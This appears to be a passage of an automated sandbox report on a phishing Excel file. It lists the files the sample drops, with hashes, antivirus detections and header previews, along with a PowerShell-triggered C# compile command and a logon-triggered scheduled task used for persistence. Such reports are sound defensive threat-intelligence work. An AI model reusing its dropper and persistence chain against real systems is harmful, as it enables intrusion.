Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\d1xzy0xm\d1xzy0xm.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\d1xzy0xm\d1xzy0xm.0.cs"

C:\Users\user\AppData\Local\Temp\d1xzy0xm\d1xzy0xm.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.810581437772162
Encrypted:	false
SSDEEP:	24:etGS0PBu5exl8e6WkE8wwRMl2tkZflmyLjcUWI+ycuZhNbNakSCCPNnq:6rsx+e648wgMl5JlLA31ulbNa3COq
MD5:	FCC2789C51810A4FDA1CCC5EEE04428B
SHA1:	5FF267A786464E2F8C097D83B8812F0F38ACDD18
SHA-256:	8424E2D83A48C1D1FFF50982A45495FBD7FC49B4C0358A24A10729ACD8A775FD
SHA-512:	0810D2380C1CF60D2BB730D8D4B90A7CE2658C7A4FA797504CF93A334D5EFA66969B41463AE9BE28193C38FDB9C6E19834F4ED85B7DC2A66B83A26C19D150AB5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....f...........!.................#... ...@....... ....................................@.................................T#..W....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................;.4.....q.....q...........................!.............. B.....P ......T.........Z.....c.....e.....i.....l...T.....T...!.T.....T.......!............B.......................................+..........<Module>.d1

C:\Users\user\AppData\Local\Temp\d1xzy0xm\d1xzy0xm.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (445), with CRLF, CR line terminators
Category:	modified
Size (bytes):	866
Entropy (8bit):	5.367256542863961
Encrypted:	false
SSDEEP:	24:AId3ka6KzDEoZy1KaMD5DqBVKVrdFAMBJTH:Akka60DEoM1KdDcVKdBJj
MD5:	667C0D47B3C5A36BB85AF5E6720810E2
SHA1:	C78220C927DE8B3D16CC38ADEED5CC55959D3271
SHA-256:	87433CD3242464F65729C4CE37810948B9CE6A32BBB21031D0D5AF03DFB8728C
SHA-512:	EC7320C9050370BE1B4A17DDA639277C213641F25BCF7FD29CCA524DAA8C13814F1F4521E514EFB1B1908BA63911EE03D3A5CEC3BD949048F761516FBA202A2B
Malicious:	false
Preview:	.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\d1xzy0xm\d1xzy0xm.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\d1xzy0xm\d1xzy0xm.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.3761.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\my4lbfpk.vwy.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\tmp8AF2.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\sihost.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1574
Entropy (8bit):	5.113897866737485
Encrypted:	false
SSDEEP:	24:2di4+S2qhZ1ty1mCUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtgVxvn:cgeZQYrFdOFzOzN33ODOiDdKrsuTuv
MD5:	D65DB3334B2047129605315CA2689F10
SHA1:	A03FC3E30FEB5E27D46A995490F85B633CF46EAA
SHA-256:	AF3CF1955536B119996F6B44A630877B7BBA6468CBFBCDE6BE4D303DD9707214
SHA-512:	9A197FDEFCA1734AB22AD0DD5F9E5E0F574BDFD998C3405A6FD97B14289ED41EE2A518FE4FFBEBB53DAD7B44EDE67979397F408A611B22C9D4288F0846D4E326
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\tmpA3FD.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\bKVNuVuE.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1574
Entropy (8bit):	5.113897866737485
Encrypted:	false
SSDEEP:	24:2di4+S2qhZ1ty1mCUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtgVxvn:cgeZQYrFdOFzOzN33ODOiDdKrsuTuv
MD5:	D65DB3334B2047129605315CA2689F10
SHA1:	A03FC3E30FEB5E27D46A995490F85B633CF46EAA
SHA-256:	AF3CF1955536B119996F6B44A630877B7BBA6468CBFBCDE6BE4D303DD9707214
SHA-512:	9A197FDEFCA1734AB22AD0DD5F9E5E0F574BDFD998C3405A6FD97B14289ED41EE2A518FE4FFBEBB53DAD7B44EDE67979397F408A611B22C9D4288F0846D4E326
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\wq3xvvsv.egf.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\xengqs3o.pq4.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\~DF8426740EAF6412F3.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	6.1914492469448605
Encrypted:	false
SSDEEP:	768:BxD0zvx6+Lew/BKAoaqDO4T7urYN22Hy/picjOu1CukVIWluoozagoM40TtOZSw3:BI1CT8QmtTQvWFsmBBg6uIu5
MD5:	FA1EB15E4D89C88CE60ACA84A7BD81B8
SHA1:	0CEDB34DE04B82179CE806837F4557D315A70804
SHA-256:	D85436BFE077C4B09F25CB603774613717152C6D377F7DB20822971181E9D099
SHA-512:	E20FB20C84D4CAB623218B9F423162B3EF7BC531CED38ABC492C24D9000F7A84D7B1DBFA2C66264FA0CDCB01A5721FD6DD5F7C23CABA13FE40FAE65A3CF70322
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFBB96755B51ADAF12.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_store

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	data
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.6739662216458647
Encrypted:	false
SSDEEP:	12:Ppb0slZp69PO9tauZ7nH2AaYSQ81v0t4TreIBUxFj87+k/R:RbG4WuZfKZ1c+reIAon/R
MD5:	C61F99FE7BEE945FC31B62121BE075CD
SHA1:	083BBD0568633FECB8984002EB4FE8FA08E17DD9
SHA-256:	1E0973F4EDEF345D1EA8E90E447B9801FABDE63A2A1751E63B91A8467E130732
SHA-512:	46D743C564A290EDFF307F8D0EF012BB01ED4AA6D9667E87A53976B8F3E87D78BEBE763121A91BA8FB5B0CF5A8C9FDE313D7FBD144FB929D98D7D39F4C9602C9
Malicious:	false
Preview:	....+..F..N..F).~]............\.">.. .......p.J..} /o...rLj-...FS..'x.o..%^ .....zr/..3.y.e4...MM.4..x9.f.D..{..(....'p......9...Qn..d..+.....H..M.)..........].....n-.]........n&.*.H`.sz...r.....1B.....e.."...A.....,-....n..$.<....CO..VO..P..'.......<......n....&5s....z..$.{'IM-.o..(#N.-..(H...a&...y.S..`8.(./...1.P.. .....K.3.......I!]G....@N........F.l.T=.0...`"..L....B...B`nI.<.....&F..2J2....1..Rs....h.Zq.`...t..CJ....@.....I.G.e..k..H.....F..G:..6.G.l=.Y......:...C.........?[.ts...=....;.\|...q...@....s................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_storei

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	data
Category:	dropped
Size (bytes):	24152
Entropy (8bit):	0.7532185028349225
Encrypted:	false
SSDEEP:	48:CMnfnO4FGtsFqN6t8nlztZKR6axR6uiozVb:ZnfO4kWKpZKdxR35
MD5:	520FE964934AF1AB0CEBA2366830D0FA
SHA1:	B90310ACA870261CB619FDFD1E54E1B1A25074FF
SHA-256:	DBD45EEA386D364B30BA189E079BFA05C2C40D9E5E83722C39A171998ED079C1
SHA-512:	A4839A6AB8DB522D9121A590B8C711E8C4F172D9CB71C918860F8048472920F3341B7BA624DFF514BE397809149E4471B2DF981DC81FE77C26B2DDF342A42F8C
Malicious:	false
Preview:	...W....K.h.E..g..0...!1sm.[t\......A......5_...N{Yf?.w..[.Y..A...a^..(._.=.......:.v.$.....e...F....f.qo.]...B1{.8.%%..,...;.\|..<....g ....l.7.`ny.h.n.y...~Y.../.. .WZ.'......AI.\|.._K}-$.i..<(.7Y...U....T.i.N.'Pt..c.[........<zni.::. 8W.<S...8!.Wh..;T.?.^yf...E?...pQ....i.;>/..^...r.YsncP..@.. .[".^..A.\|.0..$<bC.G........~];..D.\|.v.B.).g.E5.?... .N...}....i.,5..a.Fk.%.u.`..F...;xlw.}.5.Jt..c.5.....v...~)..8b\|..B.]-]jk....PQZ..T}..M.S...88......?.$..]..%V..D.<.5.d...[..Z.....2........%.$E..+sb..........g...>Q[l.}......@=..5L..._....Pi..HY.<[..l...H....9.\=u.v.....S8-&...,5..}t......m...*..R.W.G.NZ....w.....{.iA......G.f.TN.zk..(....q).....n....3..C...d./..........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\INUNUQ37.txt

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.068998595735082
Encrypted:	false
SSDEEP:	3:X6WLuYLOlSSXU6AcOIC6uXn:qFYLWSSxA0vuXn
MD5:	1E1530DA89DEF993A204363238CE1B48
SHA1:	EF1329A77EE8DFE02B84AF1CB619B17F9E9A40B8
SHA-256:	F6B9B0E3C207CA7D10BB746508DE53575D01A781CDC6C1AA23392C7BA4F24E40
SHA-512:	C7ABC0723B92D9A9EB00F533E0DA1D3FF1E19BDCEFCDDCCDB41DB41A3538C1B71C35A9A2B07E74F3CBD1ADEA8B2C6A6CF22224CABFE46BE4E6931B251696BB75
Malicious:	false
Preview:	short_3115571.1.exi.link/.9728.509122048.31124912.98903914.31124910.*.

C:\Users\user\AppData\Roaming\bKVNuVuE.exe

Download File

Process:	C:\Users\user\AppData\Roaming\sihost.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	786432
Entropy (8bit):	7.843829192750069
Encrypted:	false
SSDEEP:	12288:ClQAuzVwg6o8jReYXggj/mkYfUu3lu/mMDtXWwQS/alvl7s66nIEAvhgquWfaOrJ:g53voIeauFcoymiXW485s66n+vhgk
MD5:	D02CC222E09FD373FAF4030AC735618C
SHA1:	9D56352E325A466837CA7C0657697F1C00E4D440
SHA-256:	A21299AF73C18F0D903F023BB82D10796F876335281059355EA3B8D72DDB1DD8
SHA-512:	FD475E9E20B03ECE2D0211092A86B3FC1D286E336CCE3354AE400B53DD77B82B3511E8742AB4F36F99C106ADC7A288029FDD113460652924D591A0CF7E56C8ED
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....V.f................................. ........@.. .......................`............@.....................................S.... .......................@....................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H............,...........................................................0..A....... P........%.....(......... B........%.1...(.....2...(.........&....~.............~............".(.........0..{.............%.....(.................. ....... c,..... .:..... .6..... 5...... .6..... . ..... ......................(.........&*..0..........~2.....~........E........................~....:......$...Y.+......(....%.(.........E....'.......!...'...=...L...~....-...P.....Y..+....v

C:\Users\user\AppData\Roaming\sihost.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	786432
Entropy (8bit):	7.843829192750069
Encrypted:	false
SSDEEP:	12288:ClQAuzVwg6o8jReYXggj/mkYfUu3lu/mMDtXWwQS/alvl7s66nIEAvhgquWfaOrJ:g53voIeauFcoymiXW485s66n+vhgk
MD5:	D02CC222E09FD373FAF4030AC735618C
SHA1:	9D56352E325A466837CA7C0657697F1C00E4D440
SHA-256:	A21299AF73C18F0D903F023BB82D10796F876335281059355EA3B8D72DDB1DD8
SHA-512:	FD475E9E20B03ECE2D0211092A86B3FC1D286E336CCE3354AE400B53DD77B82B3511E8742AB4F36F99C106ADC7A288029FDD113460652924D591A0CF7E56C8ED
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....V.f................................. ........@.. .......................`............@.....................................S.... .......................@....................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H............,...........................................................0..A....... P........%.....(......... B........%.1...(.....2...(.........&....~.............~............".(.........0..{.............%.....(.................. ....... c,..... .:..... .6..... 5...... .6..... . ..... ......................(.........&*..0..........~2.....~........E........................~....:......$...Y.+......(....%.(.........E....'.......!...'...=...L...~....-...P.....Y..+....v

C:\Users\user\Desktop\44330000

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Tue Aug 13 19:24:47 2024, Security: 1
Category:	dropped
Size (bytes):	441344
Entropy (8bit):	7.950004788706853
Encrypted:	false
SSDEEP:	6144:rR1QxrZVcu9Tm20xv1jaZ0VWi88Giyvt+bJK3ICGSGgRhsqcxZsCcnO:rRUrvjgN1eZ0VWi88GLvtAPCdBv/
MD5:	558C36CA3B05B90F86C9F5BFC6EC64B3
SHA1:	020C5810C1C31148F33A5E5F56F62E9CE09BDBBE
SHA-256:	6339F2EE1C034AB57BA3F6788FA1584F7CEC8B2B9EEA6E4479C392EEE459861D
SHA-512:	C08743C4E9BE40B8353DB1B6AFCC0D5585C6F71B1904BA79AFF4C8881FEC0145B4F868F6F12E8191C9074163B944AC989700204001C4DFCB2D9FC8AAEE18F3F3
Malicious:	false
Preview:	......................>.......................................................j.......o.......q.......................................................................................................................................................................................................................................................................................................................................................................................................................................i................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h.......\.......l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\Desktop\44330000:Zone.Identifier

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\Desktop\SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xls (copy)

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Tue Aug 13 19:24:47 2024, Security: 1
Category:	dropped
Size (bytes):	441344
Entropy (8bit):	7.950004788706853
Encrypted:	false
SSDEEP:	6144:rR1QxrZVcu9Tm20xv1jaZ0VWi88Giyvt+bJK3ICGSGgRhsqcxZsCcnO:rRUrvjgN1eZ0VWi88GLvtAPCdBv/
MD5:	558C36CA3B05B90F86C9F5BFC6EC64B3
SHA1:	020C5810C1C31148F33A5E5F56F62E9CE09BDBBE
SHA-256:	6339F2EE1C034AB57BA3F6788FA1584F7CEC8B2B9EEA6E4479C392EEE459861D
SHA-512:	C08743C4E9BE40B8353DB1B6AFCC0D5585C6F71B1904BA79AFF4C8881FEC0145B4F868F6F12E8191C9074163B944AC989700204001C4DFCB2D9FC8AAEE18F3F3
Malicious:	false
Preview:	......................>.......................................................j.......o.......q.......................................................................................................................................................................................................................................................................................................................................................................................................................................i................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h.......\.......l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\Desktop\~$SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xlsx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	modified
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	true
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Tue Aug 13 16:08:47 2024, Security: 1
Entropy (8bit):	7.920284951271973
TrID:	Microsoft Excel sheet (30009/1) 47.99% Microsoft Excel sheet (alternate) (24509/1) 39.20% Generic OLE2 / Multistream Compound File (8008/1) 12.81%
File name:	SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xlsx
File size:	455'680 bytes
MD5:	d35618eec168e30e2a2df672f612388c
SHA1:	7637c3d56066f932e38de4918c5a3756791491e2
SHA256:	bd980fb1f921bf16d88b62d519ed6adb057ffc3c93532fca6465fac9e7074123
SHA512:	3aaa97a746fa07f647069b60057eb6000562c0166e2e954b17e82340ccbf959a8f4c51048b88ce60e69463df99c2038496cf840e1af8cd99c97e2c4ccdbe8995
SSDEEP:	6144:x41QZrZljw9D6J3RIBp42wzf7Sy+NwHEym0J6tdkq6fPnXg79Se8mdj+:x4YrnYbe2wjv+NwHJetufg70e8k+
TLSH:	20A40224F4D9CD4EE483E63A85E9741A0A4CFD2787CCE84B2468B70E9535BE1E753287
File Content Preview:	........................>.......................................................j.......o.......q..............................................................................................................................................................

File Icon


Icon Hash:	2562ab89a7b7bfbf

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xlsx"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	True
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	1252
Author:
Last Saved By:
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2024-08-13 15:08:47
Creating Application:	Microsoft Excel
Security:	1

Document Summary

Document Code Page:	1252
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	786432

Streams with VBA

VBA File Name: Sheet1.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet1
VBA File Name:	Sheet1.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . A . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 0d 41 ea 06 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet2.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet2
VBA File Name:	Sheet2.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . A f . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
Data Raw:	01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 0d 41 a3 66 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

VBA Code

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

VBA File Name: Sheet3.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet3
VBA File Name:	Sheet3.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . A } . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
